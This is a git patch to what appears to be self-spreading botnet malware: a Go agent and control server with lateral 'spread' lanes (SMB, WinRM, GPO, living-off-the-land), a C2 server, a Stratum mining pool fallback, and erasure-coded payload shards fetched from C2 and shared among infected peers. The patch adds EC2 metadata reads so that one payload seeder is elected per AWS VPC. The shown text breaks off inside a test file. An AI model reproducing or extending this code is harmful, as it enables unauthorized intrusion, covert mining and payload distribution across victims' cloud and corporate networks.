From 990105f7bf9842d8e9131b80384729bc820a5545 Mon Sep 17 00:00:00 2001
From: AetherForge
Date: Sun, 7 Jun 2026 10:06:42 -0700
Subject: [PATCH] Elect one fleet torrent seeder per AWS VPC via IMDS
cloud_instance_meta.
Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
---
agent/client/client.go | 8 -
agent/client/fleet_torrent_gossip_test.go | 2 +-
agent/client/policy.go | 8 -
agent/client/protocol.go | 2 -
agent/client/protocol_test.go | 9 --
agent/config/config.go | 4 -
agent/deploy/cloud_instance_meta.go | 106 +++++++++++++
agent/deploy/cloud_instance_meta_test.go | 29 ++++
agent/deploy/discover_join.go | 12 +-
agent/deploy/discover_join_test.go | 14 --
agent/deploy/erasure_staging.go | 7 +-
agent/deploy/fleet_torrent.go | 137 ++++++-----------
agent/deploy/fleet_torrent_test.go | 144 +++++++++--------
agent/deploy/lotl_tiers.go | 3 +-
server/config.go | 52 +------
server/internal/api/cloud_instance_meta.go | 92 +++++++++++
server/internal/api/deploy_plan.go | 108 +------------
server/internal/api/integration_test.go | 4 +-
server/internal/api/router.go | 68 ++++----
server/internal/api/router_test.go | 4 +-
server/internal/api/server_policy.go | 4 -
server/internal/api/service_deploy.go | 4 -
server/internal/api/spread_handler.go | 55 +------
server/internal/api/spread_lanes_test.go | 145 ++++++++++++++++--
server/internal/api/spreadrouter_bridge.go | 1 -
server/internal/api/websocket.go | 63 +-------
server/internal/atlas/fleet_gossip.go | 32 +---
server/internal/atlas/fleet_gossip_test.go | 17 +-
server/internal/erasure/lanes.go | 7 +-
server/internal/spreadrouter/router.go | 13 +-
server/internal/spreadrouter/router_test.go | 19 ---
server/main.go | 15 +-
server/web/e2e/pages.spec.ts | 8 -
server/web/public/spread/index.html | 43 ------
server/web/src/api/client.ts | 53 -------
.../src/components/CalibrationAIControl.tsx | 11 --
.../Fleet/CrucibleExpandedOps.test.tsx | 4 -
.../components/Fleet/CrucibleExpandedOps.tsx | 5 -
server/web/src/components/Layout/Layout.tsx | 23 +--
server/web/src/help/seerEvents.ts | 18 ---
server/web/src/help/settingHelp.test.ts | 1 -
server/web/src/help/settingHelp.ts | 2 -
server/web/src/help/uiHelp.test.ts | 7 -
server/web/src/help/uiHelp.ts | 10 --
server/web/src/help/wsStatsCoalesce.ts | 1 -
server/web/src/pages/BuilderPage.tsx | 12 --
server/web/src/pages/EmberwakePage.css | 13 --
server/web/src/pages/EmberwakePage.tsx | 44 +-----
server/web/src/types/index.ts | 6 -
49 files changed, 570 insertions(+), 879 deletions(-)
create mode 100644 agent/deploy/cloud_instance_meta.go
create mode 100644 agent/deploy/cloud_instance_meta_test.go
create mode 100644 server/internal/api/cloud_instance_meta.go
diff --git a/agent/client/client.go b/agent/client/client.go
index c495298..36627d5 100644
--- a/agent/client/client.go
+++ b/agent/client/client.go
@@ -100,8 +100,6 @@ type AgentClient struct {
// spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once
- // cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth.
- cloudVenueOnce sync.Once
// commandResultHook is set in tests to observe sendCommandResult without a live WS.
commandResultHook func(action string, success bool, message string)
@@ -405,8 +403,6 @@ func (c *AgentClient) authenticate() error {
authPayload.ParentAgentID = parentID
authPayload.SpreadGeneration = spreadGen
authPayload.SpreadStrain = spreadStrain
- authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH"))
- authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID"))
payload, _ := json.Marshal(authPayload)
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
@@ -486,10 +482,6 @@ func (c *AgentClient) authenticate() error {
}
})
- c.cloudVenueOnce.Do(func() {
- c.startCloudVenueScout()
- })
-
if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
}
diff --git a/agent/client/fleet_torrent_gossip_test.go b/agent/client/fleet_torrent_gossip_test.go
index dcc3379..54c3414 100644
--- a/agent/client/fleet_torrent_gossip_test.go
+++ b/agent/client/fleet_torrent_gossip_test.go
@@ -17,7 +17,7 @@ func TestHandleFleetTorrentGossipMergesDHT(t *testing.T) {
}},
})
c.handleFleetTorrentGossip(payload)
- peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0", "")
+ peers := deploy.FleetShardDHTSnapshot().PeersForShard("tok", 1, "10.0.0")
if len(peers) != 1 || peers[0].AgentID != "peer" {
t.Fatalf("peers=%+v", peers)
}
diff --git a/agent/client/policy.go b/agent/client/policy.go
index 6841209..7d5b290 100644
--- a/agent/client/policy.go
+++ b/agent/client/policy.go
@@ -122,8 +122,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
- AwsS3ShardRegion string `json:"aws_s3_shard_region"`
- AwsCloudFrontDomain string `json:"aws_cloudfront_domain"`
SpreadTemperament json.RawMessage `json:"spread_temperament"`
}
if err := json.Unmarshal(raw, &policy); err != nil {
@@ -137,12 +135,6 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
}
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
- if v := strings.TrimSpace(policy.AwsS3ShardRegion); v != "" {
- cfg.AwsS3ShardRegion = v
- }
- if v := strings.TrimSpace(policy.AwsCloudFrontDomain); v != "" {
- cfg.AwsCloudFrontDomain = v
- }
applySpreadTemperament(cfg, policy.SpreadTemperament)
}
diff --git a/agent/client/protocol.go b/agent/client/protocol.go
index 60f426e..45d8c00 100644
--- a/agent/client/protocol.go
+++ b/agent/client/protocol.go
@@ -55,8 +55,6 @@ type AuthPayload struct {
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
- GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
- StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
}
diff --git a/agent/client/protocol_test.go b/agent/client/protocol_test.go
index 0863917..65eee5f 100644
--- a/agent/client/protocol_test.go
+++ b/agent/client/protocol_test.go
@@ -71,15 +71,6 @@ func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
}
}
-func TestAuthPayloadLaunchTemplateGenesisJSONRoundTrip(t *testing.T) {
- in := AuthPayload{AgentID: "lt-1", GenesisSnapshotHash: "deadbeef", StrainCardID: "card-9", ParentAgentID: "template"}
- var out AuthPayload
- roundTrip(t, in, &out)
- if out.GenesisSnapshotHash != "deadbeef" || out.StrainCardID != "card-9" {
- t.Fatalf("genesis fields: %+v", out)
- }
-}
-
func TestAuthResponseJSONRoundTrip(t *testing.T) {
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
var out AuthResponse
diff --git a/agent/config/config.go b/agent/config/config.go
index ba7f3ab..9eb3309 100644
--- a/agent/config/config.go
+++ b/agent/config/config.go
@@ -149,12 +149,8 @@ type BuiltinConfig struct {
ErasureLanesEnabled bool
// FleetTorrentEnabled enables content-addressed shard DHT + fleet gossip (server policy).
FleetTorrentEnabled bool
- AwsS3ShardRegion string
- AwsCloudFrontDomain string
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
SubnetPrimarySeeder bool
- PolicySnapshotPollURL string
- EventBridgeRelayURL string
}
// BackupPool holds connection info for a fallback Stratum mining pool.
diff --git a/agent/deploy/cloud_instance_meta.go b/agent/deploy/cloud_instance_meta.go
new file mode 100644
index 0000000..cf91a1c
--- /dev/null
+++ b/agent/deploy/cloud_instance_meta.go
@@ -0,0 +1,106 @@
+package deploy
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "net/http"
+ "strings"
+ "time"
+)
+
+const ec2IMDSBase = "http://169.254.169.254/latest"
+
+type CloudInstanceMeta struct {
+ VpcID string `json:"vpc_id,omitempty"`
+ SubnetID string `json:"subnet_id,omitempty"`
+ Region string `json:"region,omitempty"`
+}
+
+func (m CloudInstanceMeta) Present() bool {
+ return strings.TrimSpace(m.VpcID) != "" || strings.TrimSpace(m.SubnetID) != "" || strings.TrimSpace(m.Region) != ""
+}
+
+var ec2IMDSReadMeta = readEC2InstanceMetaImpl
+
+func ReadEC2InstanceMeta() CloudInstanceMeta {
+ ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
+ defer cancel()
+ meta, _ := ec2IMDSReadMeta(ctx)
+ return meta
+}
+
+func readEC2InstanceMetaImpl(ctx context.Context) (CloudInstanceMeta, error) {
+ token, err := fetchEC2IMDSToken(ctx)
+ if err != nil {
+ return CloudInstanceMeta{}, err
+ }
+ region, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/region")
+ if strings.TrimSpace(region) == "" {
+ az, _ := fetchEC2IMDSPath(ctx, token, "meta-data/placement/availability-zone")
+ az = strings.TrimSpace(az)
+ if len(az) > 1 {
+ region = az[:len(az)-1]
+ }
+ }
+ macs, err := fetchEC2IMDSPath(ctx, token, "meta-data/network/interfaces/macs/")
+ if err != nil || strings.TrimSpace(macs) == "" {
+ return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil
+ }
+ mac := strings.TrimSpace(strings.Split(macs, "\n")[0])
+ if mac == "" {
+ return CloudInstanceMeta{Region: strings.TrimSpace(region)}, nil
+ }
+ if !strings.HasSuffix(mac, "/") {
+ mac += "/"
+ }
+ base := "meta-data/network/interfaces/macs/" + mac
+ vpcID, _ := fetchEC2IMDSPath(ctx, token, base+"vpc-id")
+ subnetID, _ := fetchEC2IMDSPath(ctx, token, base+"subnet-id")
+ return CloudInstanceMeta{VpcID: strings.TrimSpace(vpcID), SubnetID: strings.TrimSpace(subnetID), Region: strings.TrimSpace(region)}, nil
+}
+
+func fetchEC2IMDSToken(ctx context.Context) (string, error) {
+ req, err := http.NewRequestWithContext(ctx, http.MethodPut, ec2IMDSBase+"/api/token", nil)
+ if err != nil {
+ return "", err
+ }
+ req.Header.Set("X-aws-ec2-metadata-token-ttl-seconds", "60")
+ resp, err := http.DefaultClient.Do(req)
+ if err != nil {
+ return "", err
+ }
+ defer resp.Body.Close()
+ if resp.StatusCode != http.StatusOK {
+ return "", fmt.Errorf("imds token HTTP %d", resp.StatusCode)
+ }
+ body, err := io.ReadAll(io.LimitReader(resp.Body, 128))
+ return strings.TrimSpace(string(body)), err
+}
+
+func fetchEC2IMDSPath(ctx context.Context, token, path string) (string, error) {
+ path = strings.TrimPrefix(path, "/")
+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, ec2IMDSBase+"/"+path, nil)
+ if err != nil {
+ return "", err
+ }
+ if token != "" {
+ req.Header.Set("X-aws-ec2-metadata-token", token)
+ }
+ resp, err := http.DefaultClient.Do(req)
+ if err != nil {
+ return "", err
+ }
+ defer resp.Body.Close()
+ if resp.StatusCode != http.StatusOK {
+ return "", fmt.Errorf("imds HTTP %d", resp.StatusCode)
+ }
+ body, err := io.ReadAll(io.LimitReader(resp.Body, 64<<10))
+ return strings.TrimSpace(string(body)), err
+}
+
+// ec2IMDSToken and ec2IMDSFetch are shared helpers for cloud venue probing.
+func ec2IMDSToken(ctx context.Context) (string, error) { return fetchEC2IMDSToken(ctx) }
+func ec2IMDSFetch(ctx context.Context, token, path string) (string, error) {
+ return fetchEC2IMDSPath(ctx, token, path)
+}
\ No newline at end of file
diff --git a/agent/deploy/cloud_instance_meta_test.go b/agent/deploy/cloud_instance_meta_test.go
new file mode 100644
index 0000000..5cc99eb
--- /dev/null
+++ b/agent/deploy/cloud_instance_meta_test.go
@@ -0,0 +1,29 @@
+package deploy
+
+import (
+ "context"
+ "testing"
+)
+
+func TestReadEC2InstanceMetaMockIMDS(t *testing.T) {
+ prev := ec2IMDSReadMeta
+ t.Cleanup(func() { ec2IMDSReadMeta = prev })
+ ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) {
+ return CloudInstanceMeta{VpcID: "vpc-abc123", SubnetID: "subnet-def456", Region: "us-east-1"}, nil
+ }
+ meta := ReadEC2InstanceMeta()
+ if meta.VpcID != "vpc-abc123" {
+ t.Fatalf("meta=%+v", meta)
+ }
+}
+
+func TestReadEC2InstanceMetaNonAWSFallback(t *testing.T) {
+ prev := ec2IMDSReadMeta
+ t.Cleanup(func() { ec2IMDSReadMeta = prev })
+ ec2IMDSReadMeta = func(ctx context.Context) (CloudInstanceMeta, error) {
+ return CloudInstanceMeta{}, context.DeadlineExceeded
+ }
+ if ReadEC2InstanceMeta().Present() {
+ t.Fatal("expected empty meta on non-AWS fallback")
+ }
+}
diff --git a/agent/deploy/discover_join.go b/agent/deploy/discover_join.go
index 146e547..5e859cf 100644
--- a/agent/deploy/discover_join.go
+++ b/agent/deploy/discover_join.go
@@ -1,4 +1,4 @@
-package deploy
+package deploy
import (
"crypto/hmac"
@@ -25,8 +25,6 @@ type SpreadRouteHint struct {
ClearanceLevel int `json:"clearance_level,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
- RouteVia string `json:"route_via,omitempty"`
- PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
}
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
@@ -109,8 +107,7 @@ func ExecuteDeployPlanAs(cfg config.RuntimeConfig, plan DeployPlanBody, executor
if config.FleetTorrentEnabled(cfg) {
c2 := c2BaseFromPlan(plan)
localIP, _ := PrimaryLocalIPv4()
- localRegion := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
- if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP), localRegion); eErr == nil {
+ if em, eErr := RunFleetTorrentStaging(cfg, *plan.ErasurePlan, c2, SubnetFromIP(localIP)); eErr == nil {
return em + " (primary lane failed: " + err.Error() + ")", nil
}
}
@@ -274,7 +271,7 @@ func routedEgressDeferral(plan DeployPlanBody, executorAgentID, lane string) (st
switch lane {
case "spread_smb_unc", "winrm", "gpo", "linux_lotl":
return fmt.Sprintf(
- "spread_route_hint: egress=%s seed=%s subnet=%s (deferred ΓÇö routed egress, not patient zero)",
+ "spread_route_hint: egress=%s seed=%s subnet=%s (deferred — routed egress, not patient zero)",
egress,
strings.TrimSpace(plan.SpreadRouteHint.SeedAgentID),
strings.TrimSpace(plan.SpreadRouteHint.TargetSubnet),
@@ -404,9 +401,6 @@ func appendSpreadRouteTelemetry(detail string, hint *SpreadRouteHint) string {
strings.TrimSpace(hint.SeedAgentID),
hint.Score,
)
- if via := strings.TrimSpace(hint.RouteVia); via != "" {
- routeNote += "; route_via=" + via
- }
if detail == "" {
return routeNote
}
diff --git a/agent/deploy/discover_join_test.go b/agent/deploy/discover_join_test.go
index 871893e..b705270 100644
--- a/agent/deploy/discover_join_test.go
+++ b/agent/deploy/discover_join_test.go
@@ -183,20 +183,6 @@ func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
}
}
-func TestExecuteDeployPlanSSMDocumentMock(t *testing.T) {
- plan := DeployPlanBody{
- JoinLane: "ssm_document", Action: "ssm_document",
- SSMDocument: `{"schemaVersion":"2.2"}`,
- }
- msg, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
- if err != nil {
- t.Fatal(err)
- }
- if !strings.Contains(msg, "ssm_document") {
- t.Fatalf("msg=%q", msg)
- }
-}
-
func TestExecuteDeployPlanHonorsSpreadRouteHintDeferral(t *testing.T) {
plan := DeployPlanBody{
JoinLane: "spread_smb_unc",
diff --git a/agent/deploy/erasure_staging.go b/agent/deploy/erasure_staging.go
index 34c3893..7e7e282 100644
--- a/agent/deploy/erasure_staging.go
+++ b/agent/deploy/erasure_staging.go
@@ -17,10 +17,9 @@ import (
// ErasureShardRef is one parallel-lane shard fetch target in a signed deploy plan.
type ErasureShardRef struct {
- Index int `json:"index"`
- Lane string `json:"lane"`
- URL string `json:"url"`
- EdgeURL string `json:"edge_url,omitempty"`
+ Index int `json:"index"`
+ Lane string `json:"lane"`
+ URL string `json:"url"`
}
// ErasurePlanBody is server-encoded Reed–Solomon metadata for multi-lane spread payloads.
diff --git a/agent/deploy/fleet_torrent.go b/agent/deploy/fleet_torrent.go
index bcabb27..289d061 100644
--- a/agent/deploy/fleet_torrent.go
+++ b/agent/deploy/fleet_torrent.go
@@ -21,12 +21,14 @@ const (
fleetTorrentZeroServerRetry = 30 * time.Minute
)
+// FleetGossipKind mirrors server atlas fleet gossip kinds.
const (
FleetGossipHaveShard = "have_shard"
FleetGossipHealthy = "healthy"
FleetGossipKnowNode = "know_node"
)
+// FleetGossipRecord is one DHT advertisement from a fleet peer.
type FleetGossipRecord struct {
Kind string `json:"kind"`
AgentID string `json:"agent_id,omitempty"`
@@ -34,36 +36,37 @@ type FleetGossipRecord struct {
Token string `json:"token,omitempty"`
ShardIndex int `json:"shard_index,omitempty"`
ShardHash string `json:"shard_hash,omitempty"`
- Region string `json:"region,omitempty"`
- ShardAdvert string `json:"shard_advert,omitempty"`
TargetAgentID string `json:"target_agent_id,omitempty"`
Healthy bool `json:"healthy,omitempty"`
FetchURL string `json:"fetch_url,omitempty"`
}
+// ShardPeer is a known holder of one content-addressed shard.
type ShardPeer struct {
AgentID string
Subnet string
- Region string
FetchURL string
+ Score int // higher = prefer LAN same-subnet
}
+// FleetShardDHT tracks content-addressed shard availability across the fleet.
type FleetShardDHT struct {
- mu sync.RWMutex
- peers map[string]map[int][]ShardPeer
- shardHash map[string]map[int]string
- healthy map[string]bool
- local map[string]map[int][]byte
+ mu sync.RWMutex
+ peers map[string]map[int][]ShardPeer // token -> index -> peers
+ healthy map[string]bool // agentID -> healthy
+ local map[string]map[int][]byte // token -> index -> shard bytes (primary seeder cache)
}
var globalFleetDHT = &FleetShardDHT{
- peers: make(map[string]map[int][]ShardPeer),
- shardHash: make(map[string]map[int]string),
- healthy: make(map[string]bool),
- local: make(map[string]map[int][]byte),
+ peers: make(map[string]map[int][]ShardPeer),
+ healthy: make(map[string]bool),
+ local: make(map[string]map[int][]byte),
}
-func FleetShardDHTSnapshot() *FleetShardDHT { return globalFleetDHT }
+// FleetShardDHTSnapshot returns the process-wide shard DHT (tests may replace).
+func FleetShardDHTSnapshot() *FleetShardDHT {
+ return globalFleetDHT
+}
func SetFleetShardDHT(dht *FleetShardDHT) {
if dht != nil {
@@ -76,6 +79,7 @@ func shardContentHash(data []byte) string {
return hex.EncodeToString(sum[:])
}
+// MergeFleetGossipRecords ingests relayed fleet torrent gossip.
func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
if d == nil || len(records) == 0 {
return
@@ -88,28 +92,17 @@ func (d *FleetShardDHT) MergeFleetGossipRecords(records []FleetGossipRecord) {
if r.Token == "" || r.AgentID == "" {
continue
}
- region := strings.TrimSpace(r.Region)
- if region == "" && r.ShardAdvert != "" {
- if parsed, _, ok := ParseShardAdvert(r.ShardAdvert); ok {
- region = parsed
- }
- }
if d.peers[r.Token] == nil {
d.peers[r.Token] = make(map[int][]ShardPeer)
}
- if d.shardHash[r.Token] == nil {
- d.shardHash[r.Token] = make(map[int]string)
- }
- if h := strings.TrimSpace(strings.ToLower(r.ShardHash)); h != "" {
- d.shardHash[r.Token][r.ShardIndex] = h
- }
- peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, Region: region, FetchURL: r.FetchURL}
+ peer := ShardPeer{AgentID: r.AgentID, Subnet: r.Subnet, FetchURL: r.FetchURL}
d.peers[r.Token][r.ShardIndex] = appendUniquePeer(d.peers[r.Token][r.ShardIndex], peer)
case FleetGossipHealthy:
if r.AgentID != "" {
d.healthy[r.AgentID] = r.Healthy
}
case FleetGossipKnowNode:
+ // know_node expands peer graph — treated as healthy signal for target
if r.TargetAgentID != "" {
d.healthy[r.TargetAgentID] = true
}
@@ -126,6 +119,7 @@ func appendUniquePeer(peers []ShardPeer, p ShardPeer) []ShardPeer {
return append(peers, p)
}
+// StoreLocalShard caches one shard for primary-seeder fan-out.
func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
if d == nil || token == "" || len(body) == 0 {
return
@@ -138,6 +132,7 @@ func (d *FleetShardDHT) StoreLocalShard(token string, index int, body []byte) {
d.local[token][index] = append([]byte(nil), body...)
}
+// LocalShard returns a cached shard when this agent is primary seeder.
func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
if d == nil {
return nil, false
@@ -154,7 +149,8 @@ func (d *FleetShardDHT) LocalShard(token string, index int) ([]byte, bool) {
return append([]byte(nil), body...), true
}
-func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, localRegion string) []ShardPeer {
+// PeersForShard returns known peers holding one shard index.
+func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet string) []ShardPeer {
if d == nil {
return nil
}
@@ -167,8 +163,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca
out := make([]ShardPeer, len(raw))
copy(out, raw)
sort.Slice(out, func(i, j int) bool {
- si := peerScore(out[i], localSubnet, localRegion)
- sj := peerScore(out[j], localSubnet, localRegion)
+ si := peerScore(out[i], localSubnet)
+ sj := peerScore(out[j], localSubnet)
if si != sj {
return si > sj
}
@@ -177,26 +173,8 @@ func (d *FleetShardDHT) PeersForShard(token string, index int, localSubnet, loca
return out
}
-func (d *FleetShardDHT) ShardContentHash(token string, index int) string {
- if d == nil {
- return ""
- }
- d.mu.RLock()
- defer d.mu.RUnlock()
- if d.shardHash[token] == nil {
- return ""
- }
- return d.shardHash[token][index]
-}
-
-func peerScore(p ShardPeer, localSubnet, localRegion string) int {
+func peerScore(p ShardPeer, localSubnet string) int {
if localSubnet != "" && p.Subnet == localSubnet {
- return 4
- }
- if localRegion != "" && p.Region == localRegion {
- return 3
- }
- if p.Region != "" {
return 2
}
if p.Subnet != "" {
@@ -205,6 +183,7 @@ func peerScore(p ShardPeer, localSubnet, localRegion string) int {
return 0
}
+// PickLANNeighborPeers returns up to maxLAN peers on the same /24.
func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []ShardPeer {
if maxLAN <= 0 {
maxLAN = fleetTorrentMaxLANNeighbors
@@ -221,14 +200,15 @@ func PickLANNeighborPeers(peers []ShardPeer, localSubnet string, maxLAN int) []S
return out
}
-func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, localSubnet, localRegion string, dht *FleetShardDHT) ([]byte, error) {
+// FetchErasureShardFleet tries LAN neighbors, cross-subnet peers, then C2 URL.
+func FetchErasureShardFleet(token string, index int, c2URL, localSubnet string, dht *FleetShardDHT) ([]byte, error) {
if dht == nil {
dht = globalFleetDHT
}
if body, ok := dht.LocalShard(token, index); ok {
return body, nil
}
- peers := dht.PeersForShard(token, index, localSubnet, localRegion)
+ peers := dht.PeersForShard(token, index, localSubnet)
try := func(url string) ([]byte, error) {
if url == "" {
return nil, fmt.Errorf("empty url")
@@ -247,35 +227,18 @@ func FetchErasureShardFleet(token string, index int, c2URL, cloudFrontURL, local
if localSubnet != "" && p.Subnet == localSubnet {
continue
}
- if localRegion != "" && p.Region == localRegion {
- if body, err := try(p.FetchURL); err == nil {
- return body, nil
- }
- }
- }
- for _, p := range peers {
- if localSubnet != "" && p.Subnet == localSubnet {
- continue
- }
- if localRegion != "" && p.Region == localRegion {
- continue
- }
if body, err := try(p.FetchURL); err == nil {
return body, nil
}
}
- if cloudFrontURL != "" {
- if body, err := try(cloudFrontURL); err == nil {
- return body, nil
- }
- }
if c2URL != "" {
return try(c2URL)
}
return nil, fmt.Errorf("fleet torrent: no shard source for %s/%d", token, index)
}
-func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet, localRegion string) (string, error) {
+// RunFleetTorrentStaging reassembles via fleet DHT peers with C2 super-seeder fallback.
+func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2BaseURL, localSubnet string) (string, error) {
if !plan.Enabled || len(plan.Shards) == 0 {
return "", fmt.Errorf("erasure plan disabled or empty")
}
@@ -311,15 +274,7 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
if c2 != "" && !strings.HasPrefix(c2URL, "http") {
c2URL = fmt.Sprintf("%s/api/v1/public/erasure-shard/%s/%d", c2, plan.ShardToken, ref.Index)
}
- region := localRegion
- if region == "" {
- region = strings.TrimSpace(cfg.AwsS3ShardRegion)
- }
- cfURL := cloudFrontShardURL(cfg.AwsCloudFrontDomain, plan.ShardToken, region, ref.Index, dht.ShardContentHash(plan.ShardToken, ref.Index))
- if edge := strings.TrimSpace(ref.EdgeURL); edge != "" {
- cfURL = edge
- }
- body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, cfURL, localSubnet, localRegion, dht)
+ body, err := FetchErasureShardFleet(plan.ShardToken, ref.Index, c2URL, localSubnet, dht)
if err != nil {
continue
}
@@ -358,7 +313,8 @@ func RunFleetTorrentStaging(cfg config.RuntimeConfig, plan ErasurePlanBody, c2Ba
return "fleet_torrent: " + msg, nil
}
-func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
+// IngestErasureShardsForSeeder stores shards and prepares gossip advertisements for primary seeders.
+func IngestErasureShardsForSeeder(plan ErasurePlanBody, fetchFn func(url string) ([]byte, error)) []FleetGossipRecord {
if fetchFn == nil {
fetchFn = fetchErasureShardHTTP
}
@@ -369,33 +325,40 @@ func IngestErasureShardsForSeeder(plan ErasurePlanBody, region string, fetchFn f
if err != nil || len(body) == 0 {
continue
}
- hash := shardContentHash(body)
dht.StoreLocalShard(plan.ShardToken, ref.Index, body)
records = append(records, FleetGossipRecord{
- Kind: FleetGossipHaveShard, Token: plan.ShardToken, ShardIndex: ref.Index,
- ShardHash: hash, Region: strings.TrimSpace(region),
- ShardAdvert: FormatShardAdvert(region, ref.Index), FetchURL: ref.URL, Healthy: true,
+ Kind: FleetGossipHaveShard,
+ Token: plan.ShardToken,
+ ShardIndex: ref.Index,
+ ShardHash: shardContentHash(body),
+ FetchURL: ref.URL,
+ Healthy: true,
})
}
return records
}
+// StartFleetTorrentReplication runs background shard re-replication for primary seeders.
func StartFleetTorrentReplication(cfg config.RuntimeConfig, plan ErasurePlanBody, gossipFn func([]FleetGossipRecord)) {
- if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder || gossipFn == nil {
+ if !config.FleetTorrentEnabled(cfg) || !cfg.SubnetPrimarySeeder {
+ return
+ }
+ if gossipFn == nil {
return
}
go func() {
ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop()
for range ticker.C {
- region := ResolveLocalAWSRegion(cfg.AwsS3ShardRegion)
- if recs := IngestErasureShardsForSeeder(plan, region, fetchErasureShardHTTP); len(recs) > 0 {
+ recs := IngestErasureShardsForSeeder(plan, fetchErasureShardHTTP)
+ if len(recs) > 0 {
gossipFn(recs)
}
}
}()
}
+// StartZeroServerReconnect attempts HTTPS dashboard reconnect every 30 minutes.
func StartZeroServerReconnect(reconnectFn func() error) {
if reconnectFn == nil {
return
@@ -409,6 +372,7 @@ func StartZeroServerReconnect(reconnectFn func() error) {
}()
}
+// ParseSwarmMagnetToken extracts the erasure token from a swarm magnet tr= parameter.
func ParseSwarmMagnetToken(magnet string) string {
magnet = strings.TrimSpace(magnet)
if magnet == "" {
@@ -424,6 +388,7 @@ func ParseSwarmMagnetToken(magnet string) string {
return ""
}
+// FetchShardManifestHTTP loads shard bytes from a manifest URL entry.
func FetchShardManifestHTTP(manifestURL string) ([]byte, error) {
if manifestURL == "" {
return nil, fmt.Errorf("empty manifest url")
diff --git a/agent/deploy/fleet_torrent_test.go b/agent/deploy/fleet_torrent_test.go
index f95f244..7788f39 100644
--- a/agent/deploy/fleet_torrent_test.go
+++ b/agent/deploy/fleet_torrent_test.go
@@ -9,59 +9,19 @@ import (
)
func TestFleetShardDHTMergeAndFetch(t *testing.T) {
- dht := &FleetShardDHT{peers: make(map[string]map[int][]ShardPeer), shardHash: make(map[string]map[int]string), local: make(map[string]map[int][]byte)}
+ dht := &FleetShardDHT{
+ peers: make(map[string]map[int][]ShardPeer),
+ healthy: make(map[string]bool),
+ local: make(map[string]map[int][]byte),
+ }
dht.MergeFleetGossipRecords([]FleetGossipRecord{{
- Kind: FleetGossipHaveShard, AgentID: "peer-a", Subnet: "10.1.2", Token: "tok1",
- ShardIndex: 0, FetchURL: "mock://shard0", Region: "us-east-1",
+ Kind: FleetGossipHaveShard,
+ AgentID: "peer-a",
+ Subnet: "10.1.2",
+ Token: "tok1",
+ ShardIndex: 0,
+ FetchURL: "mock://shard0",
}})
- prev := erasureFetchFn
- erasureFetchFn = func(url string) ([]byte, error) {
- if url == "mock://shard0" {
- return []byte("shard"), nil
- }
- return nil, nil
- }
- defer func() { erasureFetchFn = prev }()
- body, err := FetchErasureShardFleet("tok1", 0, "mock://c2", "", "10.1.2", "us-east-1", dht)
- if err != nil || string(body) != "shard" {
- t.Fatalf("body=%v err=%v", body, err)
- }
-}
-
-func TestFetchErasureShardFleetRegionPriority(t *testing.T) {
